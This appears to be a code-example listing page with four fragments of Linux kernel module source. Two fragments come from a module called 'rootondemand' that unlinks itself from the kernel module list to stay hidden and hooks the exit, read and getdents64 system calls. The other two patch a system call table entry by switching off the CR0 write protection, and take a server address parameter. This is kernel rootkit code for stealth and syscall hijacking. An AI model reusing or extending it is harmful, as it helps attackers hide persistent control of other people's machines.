Esempio n. 1
0
int rootondemand_init(void) {
#ifdef DEBUG
  /* Print prev and next modules in linked list */
  int *ptr=(int *)THIS_MODULE->list.prev;
  INCREASE_PTR(ptr,sizeof(struct list_head));
  DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr);
  ptr=(int *)THIS_MODULE->list.next;
  INCREASE_PTR(ptr,sizeof(struct list_head));
  DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr);
#endif
  /* Voluntary redundant */
#ifndef DEBUG
  /* Let's cloack from module list ;P */ 
  struct list_head *l_ptr=&THIS_MODULE->list;
  try_module_get(THIS_MODULE);
  l_ptr->next->prev=l_ptr->prev;
  l_ptr->prev->next=l_ptr->next;
  l_ptr->next=LIST_POISON1;
  l_ptr->prev=LIST_POISON2;
#endif
  sys_table=find_systable();
  if (!sys_table) return(-EFAULT);
  __asm("cli");
  PARASSITIZE(exit);
  PARASSITIZE(read);
  PARASSITIZE(getdents64);
  __asm("sti");
  return(0);
}
Esempio n. 2
0
int rootondemand_init(void) {
/*
#ifndef DEBUG
  try_module_get(THIS_MODULE);
#endif
*/
  sys_table=find_systable();
  if (!sys_table) return(-EFAULT);
  __asm("cli");
  PARASSITIZE(exit);
  PARASSITIZE(read);
  __asm("sti");
  return(0);
}
Esempio n. 3
0
int my_module_init(void)
{
	addr_t * table;
	const char delimiter[] = ":";

	printk(KERN_INFO "Load My Module ...\n");

	table = find_systable();

	if (table == NULL) {
		return -1;
	}

	//Unlock write memory
	write_cr0(read_cr0() & (~ 0x10000));

	//Change syscall
	sys_saved = table[INSERT_INDEX];
	table[INSERT_INDEX] = (addr_t) sys_netmalloc;

	//Lock write memory
	write_cr0(read_cr0() | 0x10000);

	printk(KERN_INFO "... done!\n");


	printk(KERN_INFO "Check good parameter : %s\n", server);

	ip = strsep(&server, delimiter);
	port = strsep(&server, delimiter);

	//TODO others checks
	if (ip == NULL || port == NULL) {
	  printk(KERN_INFO "bad parameter\n");
	  return -1;
	}

	printk(KERN_INFO "ip='%s',port='%s'\n", ip, port);

	return 0;
}
Esempio n. 4
0
void my_module_exit(void)
{
	addr_t * table;

	printk(KERN_INFO "Unload My Module ...\n");

	table = find_systable();

	if (table == NULL || sys_saved != NULL) {
		return;
	}

	//Unlock write memory
	write_cr0(read_cr0() & (~ 0x10000));

	//Replace syscall
	table[INSERT_INDEX] = sys_saved;

	//Lock write memory
	write_cr0(read_cr0() | 0x10000);

	printk(KERN_INFO "... done!\n");
}